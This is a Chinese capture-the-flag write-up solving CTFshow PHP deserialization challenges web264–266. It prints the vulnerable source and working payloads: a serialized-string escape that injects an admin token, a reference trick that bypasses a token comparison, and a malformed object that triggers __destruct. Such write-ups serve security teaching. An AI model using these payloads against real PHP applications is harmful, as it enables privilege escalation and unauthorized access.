CTFshow web(php反序列化264-266)

                                                                        web264

<?php

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


这道题目应该看一眼就应该看到思路了,为什么?$umsg = str_replace('fuck', 'loveU', serialize($msg));

这里就是典型的字符串逃逸

<?php


# @message.php


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


字符串逃逸特征: $umsg = str_replace('fuck', 'loveU', serialize($msg));

做这种题就三步走,千万别给自己加戏!

第一步:先拿到以个正常最初的反序列化:

代码如下

<?php

class message{

    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from=$f;
        $this->msg = $m;
        $this->to=$t;
        }
        }
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg=new message('a','b','c');

$msg_1=serialize($msg);

echo $msg_1;
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

 

第二步:使用filter进行一次字符串逃逸。

<?php

class message{

    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from=$f;
        $this->to=$t;
        }
        }
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuck','b','c');

$msg_1=serialize($msg);

$msg_2=filter($msg_1);

echo $msg_2;
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";}
第三步:算出要逃逸的次数进行复制输出

s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:5:"token";s:5:"admin";}这里有27个字符要逃逸,所以必须复制27次fuck,还有这得改成:";s:5:"token";s:5:"admin";},因为后面需要admin权限。

简单来说就是数出";s:5:"token";s:5:"admin";}这里有几个字符,然后输出一共几个fuck,再把";s:5:"token";s:5:"admin";}丢到fuck后面就完成了。

<?php
class message{
    public  $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}

$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

$msg_1=serialize($msg);

$msg_2=filter($msg_1);
echo $msg_2;

结果:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

最后的最后,再进行一次总结:字符串逃逸有三步:

1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)

2.使用filter进行一次字符串逃逸。

3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下而已)

                                                                                web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

我曾经写过一篇做反序列化的基础操作和方法文章:https://blog.csdn.net/csjjjd/article/details/135549767

第一步:怎么输出flag?

答:

if($ctfshow->login()){
    echo $flag;
}

第二步:我能控制啥?

答:ctfshow

第三步:

这段代码正常执行时的顺序是什么?

将ctfshw进行反序列化,然后不触发任何魔术方法,然后结束

第四步:

要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)

这里有一个很好用的方法:逆推法

问:怎么echo flag?

答:必须$ctfshow->login()

问:怎么做到$ctfshow->login()

答:login 方法用于判断 $token 是否等于 $password

问:怎么做到$token等于 $password

答:让他们指向同一块内存

好,分析完毕

第五步:分析完毕,开始构造代码

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;//其实就是这个地方让他们指向同一个地址,让他们相等,其他地方直接照搬下来就好
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a=new ctfshowAdmin('1','2');

echo serialize($a);

payload:

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}

                                                                        web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

第一步:怎么输出flag?

答:   public function __destruct(){
        global $flag;
        echo $flag;
    }

第二步:我能控制啥?

代码这里没有显示,这种情况下那估计得往bp里面写东西了

第三步:

这段代码正常执行时的顺序是什么?

$ctfshowo=@unserialize($cs);
就这个,然后结束

第四步:要执行恶意代码,该怎么做?

还是逆推,我得销毁对象然后触发__destruct()魔术方法, 但是后面有报错异常,所以这里得让类名存在,但是还得使得里面内容反序列化失败。所以这里得破坏他的反序列化结构,但是不破坏类名

第五步:构造代码:

<?php
class ctfshow
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }

    public function login()
    {
        return $this->username === $this->password;
    }

    public function __toString()
    {
        return $this->username;
    }
}
$admin = new ctfshow('123','123');
echo serialize(($admin));

其实就是进行一个正常的反序列化

O:7:"ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

接下来把里面的内容换成类名就好了

O:7:"ctfshow":2:{ctfshow}

在bp上面提交就好

真诚希望我的文章能够帮助大家!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值